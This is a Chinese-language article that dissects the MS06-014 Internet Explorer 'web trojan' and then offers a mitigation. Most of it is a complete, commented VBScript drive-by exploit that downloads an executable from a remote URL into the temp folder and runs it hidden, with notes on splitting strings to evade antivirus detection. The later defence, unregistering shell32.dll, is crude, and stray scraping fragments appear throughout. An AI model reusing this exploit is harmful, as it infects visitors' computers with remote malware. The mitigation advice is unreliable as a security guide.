析网页木马(ms06014)原理及防木马狠招
首先!让我们来看看网上普遍流行的网页木马的原版(ms06014漏洞)代码吧!
<html>
<script language='VBScript'>
on error resume next '防止程序意外出错而中止运行
dl = 'http://www.baidu.com/go.exe' '指定网站中的木马程序URL
Set df = document.createElement('object') '创建项目
df.setAttribute 'classid', 'clsid:BD96C556-65A3-11D0-983A-00C04FC29E36'
'对此项目进行编码
'注意:clsid:XXXX这一串就是我们为什么会中马的源泉,这就是网上流传的微软06014远程执行代码漏洞(msadco.dll)
str='Microsoft.XMLHTTP' '创建一个XMLHTTP对象
Set x = df.CreateObject(str,'')
a1='Ado'
a2='db.'
a3='Str'
a4='eam' 字串3
str1=a1&a2&a3&a4 '黑客编写这种网页木马的原理其实是一样的;
str5=str1 '为了免杀而在这里调换各种语句以达到免杀的目的或者能过加密,或将各种特征码的拆分/组合来达到免杀.
set S = df.createobject(str5,'') ''创建一个文件流对象
S.type = 1
str6='GET'
x.Open str6, dl, False
x.Send '以上步骤为从网站上下载指定的木马程序
fname1='g0ld.com'
set F = df.createobject('Scripting.FileSystemObject','') '建立一个文件对象
set tmp = F.GetSpecialFolder(2) 'GetSpecialFolder(2) '得到系统临时目录的路径
fname1= F.BuildPath(tmp,fname1) '注入到g0ld.com
S.open
S.write x.responseBody '把下载的文件写入数据流中
S.savetofile fname1,2 '把数据流存为文件,在系统临时目录里保存为g0ld.com
S.close
set Q = df.createobject('Shell.Application','') '大家请注意这里 字串2
'createobject('Shell.Application',''),即创建一个shell对象
Q.ShellExecute fname1,'','','open',0 '执行被下载下来的网页木马
</script>
<head>
<title>Oh,my god!</title>
</head><body>
<center>You DO it!</center>
</body></html>
======如果你的IE没有打补丁,那么你浏览了这样的网页,你就会中马了,以下为解决办法=======
set Bb = data.createobject('Shell.Application','')
Q.ShellExecute fname1,'','','open',0 '
以上下载保存我们不管,因为木马被保存在本地了不可怕,因为它这个时候还没有被执行还起不了任何作用.
只要我们将Shell.application控件停用,被下载的木马就不能通过上面这2条语远来获得网页执行程序的权限了.
方法为:在命令提示符下输入'regsvr32.exe shell32.dll /u/s',然后回车就OK了....意思是说,即使我们IE有漏洞,木马被下载下来
也不会被执行.
不管你的IE有没有打补丁,我们的电脑就不会再沦为别人的肉鸡了...
字串4
以后我们如果还需要使用Shell.application控件 就可以在命令提示符下输入'regsvr32.exe shell32.dll /i/s'以重新注册这个控件.